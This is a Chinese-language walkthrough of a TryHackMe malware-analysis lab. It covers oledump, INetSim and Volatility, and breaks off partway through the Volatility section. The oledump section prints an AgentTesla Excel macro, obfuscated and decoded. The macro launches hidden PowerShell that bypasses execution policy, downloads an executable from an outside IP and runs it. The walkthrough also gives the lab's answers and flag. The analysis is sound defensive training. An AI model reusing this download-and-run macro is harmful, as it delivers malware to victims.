【THM】REMnux:Getting Started(REMnux入门)-学习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/r/room/remnuxgettingstarted

本文相关内容:简单了解如何使用 REMnux VM 中的工具。

image-20250107224230715

介绍

分析潜在的恶意软件可能令人望而生畏,尤其是当它属于正在发生的安全事件的一部分时。这种分析给分析师带来了很大的压力。在大多数情况下,分析结果必须尽可能准确,为此分析师会使用不同的工具、机器和环境来实现这一点。在本文的内容中,我们将使用 REMnux VM 来进行恶意软件分析。

image-20250112003721131

REMnux VM 是一个专业的 Linux 发行版本。它已经包含了 Volatility、YARA、Wireshark、oledump 和 INetSim 等工具在内。它还提供了一个类似于沙箱的环境,用于剖析潜在的恶意软件,而不会给你的主系统带来安全风险。它将成为一个你已设置好的实验室,随时可以使用,并且无需手动安装工具。

学习目标

  • 探索 REMnux VM内部的工具;
  • 学习如何使用工具有效地分析潜在的恶意文档;
  • 学习如何模拟仿真网络以协助分析;
  • 熟悉用于分析内存映像(images)的工具。

前置学习基础

建议你在开始学习本文内容之前先熟悉 Cyber​​Chef 工具,但这不是强制性要求。你可以查看以下文章:

部署实验环境

我们将在本文中使用TryHackMe提供的AttackBox作为攻击机并且还会有一台由TryHackMe提供的REMnux实验虚拟机(目标机器)。要启动这个REMnux虚拟机,请在与本文相关的实验房间页面单击如下所示的绿色Start Machine按钮。

image-20250112003831137

REMnux实验虚拟机(目标机器)将会以分屏视图启动,可能需要等待 2-3 分钟才能正确启动。我们预计可以看到类似于下图的显示界面。

image-20250112003849217

如果REMnux实验虚拟机(目标机器)的界面没有出现,请尝试单击与本文相关的TryHackMe实验房间页面顶部的蓝色 “显示拆分视图” 按钮。

请注意,我们将在本文中使用的几乎所有文件都会被放置在REMnux实验虚拟机(目标机器)上的Desktop/tasks目录中。

文件分析

在这个小节中,我们将使用 oledump.py 对潜在的恶意 Excel 文档进行静态分析 。

oledump.py 是一个用于分析OLE2文件的Python工具,OLE2文件通常被称为结构化存储或复合文档二进制格式。OLE代表对象链接与嵌入(Object Linking and Embedding),这是微软所开发的一项专有技术。OLE2 文件通常被用于在单个文件中存储多种数据类型,例如文档、电子表格和演示文稿。此工具可以轻松地提取和检查OLE2文件的内容,这使它成为取证分析和恶意软件检测的宝贵资源。

使用TryHackMe提供的REMnux VM,导航到 /home/ubuntu/Desktop/tasks/agenttesla/ 目录,找到我们要分析的目标文件agenttelsa.xlsm。我们可以在实验虚拟机的终端中运行oledump.py agenttesla.xlsm 命令来进行文件分析。

ubuntu@MACHINE_IP:~/Desktop/tasks/agenttesla$ oledump.py agenttesla.xlsm 
A: xl/vbaProject.bin
 A1:       468 'PROJECT'
 A2:        62 'PROJECTwm'
 A3: m     169 'VBA/Sheet1'
 A4: M     688 'VBA/ThisWorkbook'
 A5:         7 'VBA/_VBA_PROJECT'
 A6:       209 'VBA/dir'

根据OleDump的文件分析结果,该文档中可能嵌入了一个VBA脚本,位于xl/vbaProject.bin中。因此,oledump会为其分配一个索引 A,尽管这个索引有时候会有所不同。这些 A (index) +数字 被称为data streams(数据流)

现在,我们应该注意到带有大写字母 M 的数据流。这意味着此处有一个Macro-宏,你可能需要查看这个数据流 'VBA/ThisWorkbook'

那么让我们来检查一下。运行命令 oledump.py agenttesla.xlsm -s 4 。此命令将运行 oledump ,并使用参数 -s 4 表示查看我们感兴趣的实际的数据流。其中, -s 参数是 -select 的缩写,数字 4 表示我们感兴趣的数据流位于分析结果中的第 4 位( A4: M 688 'VBA/ThisWorkbook' ) 。

ubuntu@MACHINE_IP:~/Desktop/tasks/agenttesla$ oledump.py agenttesla.xlsm -s 4

查看终端界面的输出内容:

00000000: 01 AC B2 00 41 74 74 72  69 62 75 74 00 65 20 56  ....Attribut.e V
00000010: 42 5F 4E 61 6D 00 65 20  3D 20 22 54 68 69 00 73  B_Nam.e = "Thi.s
00000020: 57 6F 72 6B 62 6F 6F 10  6B 22 0D 0A 0A 8C 42 61  Workboo.k"....Ba
00000030: 73 01 02 8C 30 7B 30 30  30 32 30 50 38 31 39 2D  s...0{00020P819-
00000040: 00 10 30 03 08 43 23 05  12 03 00 34 36 7D 0D 7C  ..0..C#....46}.|
00000050: 47 6C 10 6F 62 61 6C 01  D0 53 70 61 82 63 01 92  Gl.obal..Spa.c..
00000060: 46 61 6C 73 65 0C 25 00  43 72 65 61 74 61 62 6C  False.%.Creatabl
00000070: 01 15 1F 50 72 65 64 65  63 6C 12 61 00 06 49 64  ...Predecl.a..Id
00000080: 00 23 54 72 75 81 0D 22  45 78 70 6F 73 65 01 1C  .#Tru.."Expose..
00000090: 01 11 40 54 65 6D 70 6C  61 74 40 65 44 65 72 69  ..@Templat@eDeri
000000A0: 76 96 12 43 80 75 73 74  6F 6D 69 7A 84 44 0D 83  v..C.ustomiz.D..
000000B0: 32 50 80 18 80 1C 20 53  75 62 02 20 05 92 5F 4F  2P.... Sub. .._O
000000C0: 70 65 6E 28 00 29 0D 0A  44 69 6D 20 53 00 71 74  pen(.)..Dim S.qt
000000D0: 6E 65 77 20 41 73 04 20  53 80 25 6E 67 2C 20 73  new As. S.%ng, s
000000E0: C0 4F 75 74 70 75 74 07  09 03 14 00 4D 67 67 63  .Output.....Mggc
000000F0: 62 6E 75 61 02 64 01 0C  4F 62 6A 65 63 74 42 2C  bnua.d..ObjectB,
00000100: 07 0A 45 78 65 63 07 0C  0D 06 0A 04 2B 00 BD 5E  ..Exec......+..^
00000110: 70 2A 6F 5E 00 2A 77 2A  65 2A 72 2A 73 10 5E 5E  p*o^.*w*e*r*s.^^
00000120: 2A 68 80 04 6C 5E 2A 00  6C 2A 20 2A 5E 2D 2A 57  *h..l^*.l* *^-*W
00000130: 00 2A 69 2A 6E 2A 5E 64  2A 00 6F 2A 77 5E 2A 53  .*i*n*^d*.o*w^*S
00000140: 2A 74 A0 2A 79 2A 5E 6C  00 11 20 00 14 02 69 01  *t.*y*^l.. ...i.
00000150: 0C 64 2A 5E 65 2A 6E 2A  5E 00 08 2D 00 0B 78 41  .d*^e*n*^..-..xA
00000160: 03 63 2A 12 75 00 0A 5E  69 00 0D 6E 2A 70 40 6F  .c*.u..^i..n*p@o
00000170: 6C 5E 69 63 79 C0 07 62  00 2A 79 70 5E 5E 61 73  l^icy..b.*yp^^as
00000180: 73 20 2A 3B 2A 20 24 01  4D 46 69 0A 6C 41 12 3D  s *;* $.MFi.lA.=
00000190: C0 00 5B 2A 49 2A 80 4F  2A 2E 2A 50 2A 61 C0 0E  ..[*I*.O*.*P*a..
000001A0: 00 68 2A 5D 2A 3A 3A 47  65 1A 74 40 09 2A 83 09  .h*]*::Ge.t@.*..
000001B0: 41 79 28 29 20 40 7C 20  52 65 6E 5E C0 02 2D 00  Ay() @| Ren^..-.
000001C0: 49 74 5E 65 6D 20 2D 4E  04 65 77 42 9A 7B 20 24  It^em -N.ewB.{ $
000001D0: 5F 20 18 2D 72 65 40 62  40 82 27 74 6D 00 70 24  _ .-re@b@.'tm.p$
000001E0: 27 2C 20 27 65 78 80 65  27 20 7D 20 96 50 C1 1D  ', 'ex.e' } .P..
000001F0: 00 54 68 72 75 3B 20 49  6E 00 5E 76 6F 2A 6B 65  .Thru; In.^vo*ke
00000200: 2D 57 00 65 5E 62 52 65  2A 71 75 00 65 73 74 20  -W.e^bRe*qu.est 
00000210: 2D 55 5E 72 00 69 20 22  22 68 74 74 70 00 3A 2F  -U^r.i ""http.:/
00000220: 2F 31 39 33 2E 32 02 30  C3 00 36 37 2F 72 74 2F  /193.2.0..67/rt/
00000230: 00 44 6F 63 2D 33 37 33  37 80 31 32 32 70 64 66  .Doc-3737.122pdf
00000240: 2E 00 16 D0 22 22 20 2D  00 63 2A C1 27 07 34 02  ...."" -.c*.'.4.
00000250: 3B 80 65 2A 61 72 74 2D  50 80 72 6F 63 65 2A 73  ;.e*art-P.roce*s
00000260: 73 88 06 2B 00 B0 46 5E  52 83 2A 28 03 04 2C 20  s..+..F^R.*(.., 
00000270: 68 22 2A 22 00 01 22 C0  7D 97 08 5E 49 86 08 65  h"*"..".}..^I..e
00000280: 74 48 7C 3D 20 C2 B8 65  01 43 77 28 22 57 53 63  tH|= ..e.Cw("WSc
00000290: 72 69 00 70 74 2E 53 68  65 6C 6C EB 8E 0B C2 82  ri.pt.Shell.....
000002A0: 3D C7 03 2E 01 04 C4 18  C0 0A 08 45 6E 64 81 A3  =..........End..

上面的结果是十六进制转储格式。对于经验丰富的人而言,有些单词可能很熟悉。然而,这对于我们来说可能仍然很有挑战性,不是吗?所以,让我们使它更加易读、更加容易理解。

除了上一个命令之外,我们还将运行一个附加参数 --vbadecompress 。当我们使用这个参数时,oledump会自动将其找到的任何被压缩的 VBA宏 解压缩为更加易读的格式,从而让我们更容易分析宏的内容。

ubuntu@MACHINE_IP:~/Desktop/tasks/agenttesla$ oledump.py agenttesla.xlsm -s 4 --vbadecompress

查看终端界面的输出内容:

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim Sqtnew As String, sOutput As String
Dim Mggcbnuad As Object, MggcbnuadExec As Object
Sqtnew = "^p*o^*w*e*r*s^^*h*e*l^*l* *^-*W*i*n*^d*o*w^*S*t*y*^l*e* *h*i*^d*d*^e*n^* *-*e*x*^e*c*u*t*^i*o*n*pol^icy* *b*yp^^ass*;* $TempFile* *=* *[*I*O*.*P*a*t*h*]*::GetTem*pFile*Name() | Ren^ame-It^em -NewName { $_ -replace 'tmp$', 'exe' }  Pass*Thru; In^vo*ke-We^bRe*quest -U^ri ""http://193.203.203.67/rt/Doc-3737122pdf.exe"" -Out*File $TempFile; St*art-Proce*ss $TempFile;"
Sqtnew = Replace(Sqtnew, "*", "")
Sqtnew = Replace(Sqtnew, "^", "")
Set Mggcbnuad = CreateObject("WScript.Shell")
Set MggcbnuadExec = Mggcbnuad.Exec(Sqtnew)

这看起来好多了,不是吗?

现在,我们不需要读完上面的完整输出结果,只需要熟悉一些字符和命令即可。我们感兴趣的是Sqtnew的值,因为如果你检查该脚本的内容,你会发现里面有一个公共IP、一个PDF文件和一个.exe文件。我们可能需要进一步研究一下。

Sqtnew = "^p*o^*w*e*r*s^^*h*e*l^*l* *^-*W*i*n*^d*o*w^*S*t*y*^l*e* *h*i*^d*d*^e*n^* *-*e*x*^e*c*u*t*^i*o*n*pol^icy* *b*yp^^ass*;* $TempFile* *=* *[*I*O*.*P*a*t*h*]*::GetTem*pFile*Name() | Ren^ame-It^em -NewName { $_ -replace 'tmp$', 'exe' }  Pass*Thru; In^vo*ke-We^bRe*quest -U^ri ""http://193.203.203.67/rt/Doc-3737122pdf.exe"" -Out*File $TempFile; St*art-Proce*ss $TempFile;"
Sqtnew = Replace(Sqtnew, "*", "")
Sqtnew = Replace(Sqtnew, "^", "")

我们复制 Sqtnew 的第一个值并将其粘贴到 **CyberChef **的输入区域中。你可以在REMnux VM中打开CyberChef的本地托管副本,也可以通过此链接访问它的在线版本。你也可以访问并学习TryHackMe所提供的 CyberChef基础知识实验房间,以便更加深入地了解CyberChef工具。

接下来,选择两次“ Find/Replace(查找/替换)” 操作 。回看脚本,Sqtnew的第二个和第三个值包含一个命令,可以将*替换为""以及将^替换为""。我们假设""表示没有值。因此,在选择第一个操作的情况下,我们输入了值 *并选择了SIMPLE STRING作为附加参数。相比之下, 我们没有在“Replace -替换”框中输入任何内容 ,也没有设置任何值。第二个操作也是如此:我们输入了值 ^并选择了SIMPLE STRING,但replace框中没有任何值。请参见下图。

image-20250112194027996

现在,可读性更强了!然而,对于初学者来说,这可能仍然有点难,所以,让我们先从最基本的命令开始理解。

"powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' }  PassThru; Invoke-WebRequest -Uri ""http://193.203.203.67/rt/Doc-3737122pdf.exe"" -OutFile $TempFile; Start-Process $TempFile;"

让我们分解一下上面的命令:

  • 在PowerShell中,运行-WindowStyle参数可以控制 当执行脚本或命令时 PowerShell窗口的显示方式。在这种情况下, hidden 意味着PowerShell窗口对用户不可见

  • 在默认情况下, PowerShell出于安全原因考虑会限制脚本的执行。-executionpolicy 参数允许你覆盖此策略。bypass意味着暂时忽略执行策略,允许任何脚本不受限制地执行。

  • Invoke-WebRequest 通常用于从互联网中下载文件:

    • -Uri可以指定想要检索(获取)的Web资源的URL。在示例中,脚本正在从http://193.203.203.67/rt/处下载资源Doc-3737122pdf.exe

    • -OutFile可以指定将下载的内容保存到本地文件。在本例中, Doc-3737122pdf.exe 将保存到 $TempFile。

  • Start-Process可用于在Web请求完成后,执行存储在 $TempFile 中的已下载的文件。

总而言之,当打开文档agenttesla.xlsm时,它会运行一个宏!这个宏包含一个VBA脚本,所以这个VBA脚本将会自动运行,并且此脚本会执行PowerShell命令从http://193.203.203.67/rt/处下载一个名为Doc-3737122pdf.exe的文件 ,然后将其保存到变量 \(TempFile 中,最终脚本还将执行或开始运行这个变量\)TempFile中的文件(二进制文件或.exe文件,例如示例中的Doc-3737122pdf.exe)。这是威胁行为者常用的一种攻击技术,而且能够规避早期的检测措施。

答题

阅读本小节内容并回答问题。

哪个 Python 工具可以分析 OLE2 文件(通常被称为结构化存储或复合文档二进制格式-Structured Storage or Compound File Binary Format)?

oledump.py

我们在此小节中使用的哪个工具参数允许我们选择我们正在使用的文件的特定数据流?

-s

在上述文件分析过程示例中,我们成功解码了一段 PowerShell 脚本。那么,从互联网中下载文件通常会使用什么命令呢?

Invoke-WebRequest

在上述示例中,使用 PowerShell 脚本下载了什么文件?

Doc-3737122pdf.exe

在分析上述的 PowerShell 脚本时,我们注意到它会下载一个文件。那么,这个被下载的文件会存储在哪里呢?

$TempFile

使用本小节所提及的工具扫描位于 /home/ubuntu/Desktop/tasks/agenttesla/ 目录中的另一个名为 possible_malicious.docx 的文件。该文件共呈现了多少个数据流?

#在RemnuxVM实验虚拟机的终端中执行命令
cd /home/ubuntu/Desktop/tasks/agenttesla/
ls -la
oledump.py possible_malicious.docx
#查看最大索引数

image-20250527233559514

16

使用本小节所提及的工具扫描位于 /home/ubuntu/Desktop/tasks/agenttesla/ 目录中的另一个名为 possible_malicious.docx 的文件。输出结果指示了哪个数据流编号存在宏?

tips:继续查看刚才的终端输出结果即可,找到带有大写字母 **M **的数据流。

image-20250527233625884

8

image-20250527233719223

image-20250527233736671

使用仿真网络来辅助分析

在动态分析过程中,观察潜在恶意软件的行为至关重要,尤其是其网络活动。有很多方法可以实现这一点,我们可以创建一整套基础架构、包含不同核心的机器的虚拟环境等等。

在REMnux VM中有一个被称为INetSim(Internet服务模拟套件)的工具可以帮助我们实现目标。

tips:INetSim-Internet Services Simulation Suite。

在本小节中,我们将利用 INetSim 的功能来模拟一个真实网络。

启动所需的虚拟机

为了完成此任务,我们将要使用两台机器:第一台是我们的REMnux机器(目标机/实验机),第二台是AttackBox虚拟机(攻击机)。要启动AttackBox,请点击实验房间页面顶部的蓝色“Start AttackBox”按钮即可。请注意,在完成实验环境部署后,你可以通过鼠标点击操作轻松地在两台虚拟机的界面之间进行切换。请参考下图中所标记的界面切换按钮。

image-20250112194143414

在REMnux上运行INetSim

在正式开始操作之前,我们还必须在 REMnux VM 中对 INetSim 工具进行配置。不用担心,这会是一个简单的配置更改。首先,检查分配给你的实验机IP地址。你可以在实验虚拟机的终端中使用 ifconfig 命令进行查看,也可以直接在终端中查看 ubuntu@ 后面的IP地址。实际分配到的实验机IP地址可能会有所不同。

ubuntu@MACHINE_IP:~$ ifconfig

接下来,我们需要通过运行sudo nano /etc/inetsim/inetsim.conf命令来更改 INetSim 的配置 ,并且需要先找到#dns_default_ip 0.0.0.0值。

ubuntu@MACHINE_IP:~$ sudo nano /etc/inetsim/inetsim.conf
#########################################
# dns_default_ip
#
# Default IP address to return with DNS replies
#
# Syntax: dns_default_ip 
#
# Default: 127.0.0.1
#
#dns_default_ip  0.0.0.0

我们将删除找到的这行内容中的注释或 #符号 ,然后将 dns_default_ip 的值从 0.0.0.0 更改为我们可以确定的目标机器的IP地址,即MACHINE_IP所对应的填充值。接下来使用 CRTL + O 保存文件内容,按下 Enter 键,再按 CTRL + X 键退出文本编辑界面。

完成修改后,我们可以使用cat /etc/inetsim/inetsim.conf | grep dns_default_ip命令来检查dns_default_ip的值,以确认更改成功。

ubuntu@MACHINE_IP:~$ cat /etc/inetsim/inetsim.conf | grep dns_default_ip
# dns_default_ip
# Syntax: dns_default_ip 
dns_default_ip	 MACHINE_IP

最后,在终端中运行sudo inetsim 命令即可启动该工具。

ubuntu@MACHINE_IP:~$ sudo inetsim
INetSim 1.3.2 (2020-05-19) by Matthias Eckert & Thomas Hungenberg
Using log directory:      /var/log/inetsim/
Using data directory:     /var/lib/inetsim/
Using report directory:   /var/log/inetsim/report/
Using configuration file: /etc/inetsim/inetsim.conf
Parsing configuration file.
Warning: Unknown option '/var/log/inetsim/report/report.104162.txt#start_service' in configuration file '/etc/inetsim/inetsim.conf' line 43
Configuration file parsed successfully.
=== INetSim main process started (PID 4859) ===
Session ID:     4859
Listening on:   MACHINE_IP
Real Date/Time: 2024-09-22 17:38:22
Fake Date/Time: 2024-09-22 17:38:22 (Delta: 0 seconds)
 Forking services...
  * dns_53_tcp_udp - started (PID 4863)
  * http_80_tcp - failed!
  * https_443_tcp - started (PID 4865)
  * ftps_990_tcp - started (PID 4871)
  * pop3_110_tcp - started (PID 4868)
  * smtp_25_tcp - started (PID 4866)
  * ftp_21_tcp - started (PID 4870)
  * pop3s_995_tcp - started (PID 4869)
  * smtps_465_tcp - started (PID 4867)
 done.
Simulation running.

在运行上述命令后,确保你在输出结果的底部可以看到“ Simulation running-模拟运行 ”这句话,并忽略 the http_80_tcp—failed! 这条信息。现在,我们的模拟网络已经在运行中了。

接下来,让我们回到我们的AttackBox攻击机界面继续进行操作!

AttackBox上的操作

在AttackBox这台虚拟机中,我们打开浏览器,并使用https://MACHINE_IP访问REMnux机器的IP地址,这会提示一个安全风险,请忽略它,单击“Advance-高级” ,然后继续点击Accept the Risk and Continue-接受风险并继续进行跳过即可。

image-20250112194224077

完成上述操作后,我们将被重定向到 INetSim 的主页!

image-20250112194235629

One usual malware behaviour is downloading another binary or script. We will try to mimic this behaviour by getting another file from INetsim. We can do this via the CLI or browser, but let's use the CLI to make it more realistic. Use this command: sudo wget https://MACHINE_IP/second_payload.zip --no-check-certificate.

恶意软件的一个常见行为是下载另一个二进制文件或脚本,我们将尝试通过从 INetsim 获取另一个文件来模拟此行为。我们可以通过 CLI 或浏览器执行此操作,但是为了更加贴近实际情况,我们先使用CLI 。

执行以下命令: sudo wget https://MACHINE_IP/second_payload.zip --no-check-certificate

tips:注意填充MACHINE_IP的值。

root@_IP:~# sudo wget https://MACHINE_IP/second_payload.zip --no-check-certificate
--2024-09-22 22:18:49--  https://MACHINE_IP/second_payload.zip
Connecting to MACHINE_IP:443... connected.
WARNING: cannot verify MACHINE_IP's certificate, issued by \u2018CN=inetsim.org,OU=Internet Simulation services,O=INetSim\u2019:
  Self-signed certificate encountered.
    WARNING: certificate common name \u2018inetsim.org\u2019 doesn't match requested host name \u2018MACHINE_IP\u2019.
HTTP request sent, awaiting response... 200 OK
Length: 258 [text/html]
Saving to: \u2018second_payload.zip\u2019

second_payload.zip  100%[===================>]     258  --.-KB/s    in 0s      

2024-09-22 22:18:49 (14.5 MB/s) - \u2018second_payload.zip\u2019 saved [258/258]

你也可以尝试下载其他文件。例如,尝试使用以下命令下载second_payload.ps1

sudo wget https://MACHINE_IP/second_payload.ps1 --no-check-certificate

为了验证文件是否已经下载,我们可以检查我们的root(根)文件夹,请参考下面的示例截图:

image-20250112194248190

注意,这些都是实验环境为我们提供的假文件!尝试打开 second_payload.ps1。执行后,你可以发现它会将你引导至 INetSim 的主页。

我们在这里所做的是模仿恶意软件的行为:尝试访问一个服务器或URL,然后下载可能包含了另一个恶意软件的辅助文件(secondary file)。

连接报告

最后,回到REMnux虚拟机界面并停止INetSim的运行。默认情况下,它会创建一份关于其捕获到的连接的报告。该报告通常会保存在/var/log/inetsim/report/ 目录中。你应该可以看到类似于下面这样的内容。

Report written to '/var/log/inetsim/report/report.2594.txt' (14 lines)
=== INetSim main process stopped (PID 2594) ===

使用 sudo cat /var/log/inetsim/report/report.2594.txt命令读取报告文件的内容,此输出结果可能会与你在实验虚拟机上实际操作得到的报告内容不同。

ubuntu@MACHINE_IP:~$ sudo cat /var/log/inetsim/report/report.2594.txt
=== Report for session '2594' ===

Real start date            : 2024-09-22 21:04:42
Simulated start date       : 2024-09-22 21:04:42
Time difference on startup : none

2024-09-22 21:04:53  First simulated date in log file
2024-09-22 21:04:53  HTTPS connection, method: GET, URL: https://MACHINE_IP/, file name: /var/lib/inetsim/http/fakefiles/sample.html
2024-09-22 21:16:07  HTTPS connection, method: GET, URL: https://MACHINE_IP/test.exe, file name: /var/lib/inetsim/http/fakefiles/sample_gui.exe
2024-09-22 21:18:37  HTTPS connection, method: GET, URL: https://MACHINE_IP/second_payload.ps1, file name: /var/lib/inetsim/http/fakefiles/sample.html
2024-09-22 21:18:49  HTTPS connection, method: GET, URL: https://MACHINE_IP/second_payload.zip, file name: /var/lib/inetsim/http/fakefiles/sample.html
2024-09-22 21:18:49  Last simulated date in log file
===

这些内容是INetSim工具运行时的日志,我们可以看到与URL建立的连接、协议以及所使用的方法,我们还可以看到被下载的假文件。

答题

阅读本小节内容并回答问题。

首先启动本小节所需的虚拟机,然后在REMnux虚拟机(目标机器/实验虚拟机)上运行inetsim(参考本文的内容进配置并运行inetsim)。

#在REMnux虚拟机(目标机器/实验虚拟机)上执行命令
ifconfig #查看目标机器被分配到的ip地址:10.10.100.175
sudo nano /etc/inetsim/inetsim.conf #删除最后一行的注释符 并填充目标机器的ip地址值 10.10.100.175
cat /etc/inetsim/inetsim.conf | grep dns_default_ip #验证配置情况
sudo inetsim #运行inetsim

image-20250527234026177

image-20250527234853146

image-20250527234950383

image-20250527235153005

在攻击机终端使用命令sudo wget https://MACHINE_IP/flag.txt --no-check-certificate下载并扫描名为 flag.txt 的文件,这个flag的内容是什么?

#在攻击机终端中执行命令,注意填充MACHINE_IP的值
#sudo wget https://MACHINE_IP/flag.txt --no-check-certificate
sudo wget https://10.10.100.175/flag.txt --no-check-certificate
ls -l
cat flag.txt

tisp:访问inetsim主页—— https://10.10.100.175

image-20250527235309048

image-20250527235423997

image-20250527235533874

Tryhackme{remnux_edition} 。

在REMnux实验虚拟机上停止inetsim命令的运行后,我们就可以开始阅读已经生成的报告。根据报告结果,我们使用了哪种URL方法来获取flag.txt文件?

#在实验虚拟机的终端中进行操作
#首先停止inetsim命令的运行
cd /var/log/inetsim/report/
ls -la
sudo cat /var/log/inetsim/report/report.2188.txt #查看刚刚生成的报告

image-20250528000316905

GET

image-20250528000337710

内存调查:预处理数字证据

数字取证中最常见的调查实践之一就是预处理数字证据。这涉及运行恰当的工具并将结果保存为文本或JSON格式。分析师在处理内存映像作为数字证据时,通常会依赖Volatility等工具。该工具已经被包含在REMnux VM中。我们可以执行Volatility命令来识别和提取内存映像中的特定artefacts(攻击痕迹),并将相关的结果输出以保存为文本文件供进一步检查。同样,我们可以运行包含该工具的不同参数的脚本,以更快地对已经获取到的数字证据进行预处理。

使用Volatility进行预处理

在本小节中,我们将使用 Volatility 3 版本的工具,但是,我们不会深入研究针对输出结果部分的调查和分析——因为这部分内容足够写一本书了!相反,我们只希望能够熟悉并感受一下此工具的工作原理。按照说明运行命令,然后等待结果显示,每个Volatility插件可能需要等待 2-3 分钟才能显示完整的输出结果。

以下是我们将要使用的一些Volatility参数或插件,在此我们将重点介绍 Windows 插件:

  • windows.pstree.PsTree
  • windows.pslist.PsList
  • windows.cmdline.CmdLine
  • windows.filescan.FileScan
  • windows.dlllist.DllList
  • windows.malfind.Malfind
  • windows.psscan.PsScan
  • ......

在RemnuxVM中,我们可以在终端中运行sudo su命令,然后导航到 /home/ubuntu/Desktop/tasks/Wcry_memory_image/ 目录,我们将要处理的示例文件是该目录下的wcry.mem,接下来我们将在vol3 -f wcry.mem命令末尾添加一些参数以运行对应的Volatility插件。

PsTree

使用该插件将根据相关的父进程 ID 在一个树中列出进程。

#在RemnuxVM中
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f wcry.mem windows.pstree.PsTree
Volatility 3 Framework 2.0.0
Progress:  100.00		PDB scanning finished

查看结果:

PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime

4	0	System	0x823c8830	51	244	N/A	False	N/A	N/A
* 348	4	smss.exe	0x82169020	3	19	N/A	False	2017-05-12 21:21:55.000000 	N/A
** 620	348	winlogon.exe	0x8216e020	23	536	0	False	2017-05-12 21:22:01.000000 	N/A
*** 664	620	services.exe	0x821937f0	15	265	0	False	2017-05-12 21:22:01.000000 	N/A
**** 1024	664	svchost.exe	0x821af7e8	79	1366	0	False	2017-05-12 21:22:03.000000 	N/A
***** 1768	1024	wuauclt.exe	0x81f747c0	7	132	0	False	2017-05-12 21:22:52.000000 	N/A
***** 1168	1024	wscntfy.exe	0x81fea8a0	1	37	0	False	2017-05-12 21:22:56.000000 	N/A
**** 1152	664	svchost.exe	0x821bea78	10	173	0	False	2017-05-12 21:22:06.000000 	N/A
**** 544	664	alg.exe	0x82010020	6	101	0	False	2017-05-12 21:22:55.000000 	N/A
**** 836	664	svchost.exe	0x8221a2c0	19	211	0	False	2017-05-12 21:22:02.000000 	N/A
**** 260	664	svchost.exe	0x81fb95d8	5	105	0	False	2017-05-12 21:22:18.000000 	N/A
**** 904	664	svchost.exe	0x821b5230	9	227	0	False	2017-05-12 21:22:03.000000 	N/A
**** 1484	664	spoolsv.exe	0x821e2da0	14	124	0	False	2017-05-12 21:22:09.000000 	N/A
**** 1084	664	svchost.exe	0x8203b7a8	6	72	0	False	2017-05-12 21:22:03.000000 	N/A
*** 676	620	lsass.exe	0x82191658	23	353	0	False	2017-05-12 21:22:01.000000 	N/A
** 596	348	csrss.exe	0x82161da0	12	352	0	False	2017-05-12 21:22:00.000000 	N/A
1636	1608	explorer.exe	0x821d9da0	11	331	0	False	2017-05-12 21:22:10.000000 	N/A
* 1956	1636	ctfmon.exe	0x82231da0	1	86	0	False	2017-05-12 21:22:14.000000 	N/A
* 1940	1636	tasksche.exe	0x82218da0	7	51	0	False	2017-05-12 21:22:14.000000 	N/A
** 740	1940	@WanaDecryptor@	0x81fde308	2	70	0	False	2017-05-12 21:22:22.000000 	N/A

PsList

该插件可用于列出机器中所有当前处于活动状态的进程。

#在RemnuxVM中
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f wcry.mem windows.pslist.PsList
Volatility 3 Framework 2.0.0
Progress:  100.00		PDB scanning finished

查看结果:

PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	File output

4	0	System	0x823c8830	51	244	N/A	False	N/A	N/A	Disabled
348	4	smss.exe	0x82169020	3	19	N/A	False	2017-05-12 21:21:55.000000 	N/A	Disabled
596	348	csrss.exe	0x82161da0	12	352	0	False	2017-05-12 21:22:00.000000 	N/A	Disabled
620	348	winlogon.exe	0x8216e020	23	536	0	False	2017-05-12 21:22:01.000000 	N/A	Disabled
664	620	services.exe	0x821937f0	15	265	0	False	2017-05-12 21:22:01.000000 	N/A	Disabled
676	620	lsass.exe	0x82191658	23	353	0	False	2017-05-12 21:22:01.000000 	N/A	Disabled
836	664	svchost.exe	0x8221a2c0	19	211	0	False	2017-05-12 21:22:02.000000 	N/A	Disabled
904	664	svchost.exe	0x821b5230	9	227	0	False	2017-05-12 21:22:03.000000 	N/A	Disabled
1024	664	svchost.exe	0x821af7e8	79	1366	0	False	2017-05-12 21:22:03.000000 	N/A	Disabled
1084	664	svchost.exe	0x8203b7a8	6	72	0	False	2017-05-12 21:22:03.000000 	N/A	Disabled
1152	664	svchost.exe	0x821bea78	10	173	0	False	2017-05-12 21:22:06.000000 	N/A	Disabled
1484	664	spoolsv.exe	0x821e2da0	14	124	0	False	2017-05-12 21:22:09.000000 	N/A	Disabled
1636	1608	explorer.exe	0x821d9da0	11	331	0	False	2017-05-12 21:22:10.000000 	N/A	Disabled
1940	1636	tasksche.exe	0x82218da0	7	51	0	False	2017-05-12 21:22:14.000000 	N/A	Disabled
1956	1636	ctfmon.exe	0x82231da0	1	86	0	False	2017-05-12 21:22:14.000000 	N/A	Disabled
260	664	svchost.exe	0x81fb95d8	5	105	0	False	2017-05-12 21:22:18.000000 	N/A	Disabled
740	1940	@WanaDecryptor@	0x81fde308	2	70	0	False	2017-05-12 21:22:22.000000 	N/A	Disabled
1768	1024	wuauclt.exe	0x81f747c0	7	132	0	False	2017-05-12 21:22:52.000000 	N/A	Disabled
544	664	alg.exe	0x82010020	6	101	0	False	2017-05-12 21:22:55.000000 	N/A	Disabled
1168	1024	wscntfy.exe	0x81fea8a0	1	37	0	False	2017-05-12 21:22:56.000000 	N/A	Disabled

CmdLine

该插件可用于列出进程命令行参数。

#在RemnuxVM中
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f wcry.mem windows.cmdline.CmdLine
Volatility 3 Framework 2.0.0
Progress:  100.00		PDB scanning finished

查看结果:

PID	Process	Args

4	System	Required memory at 0x10 is not valid (process exited?)
348	smss.exe	\SystemRoot\System32\smss.exe
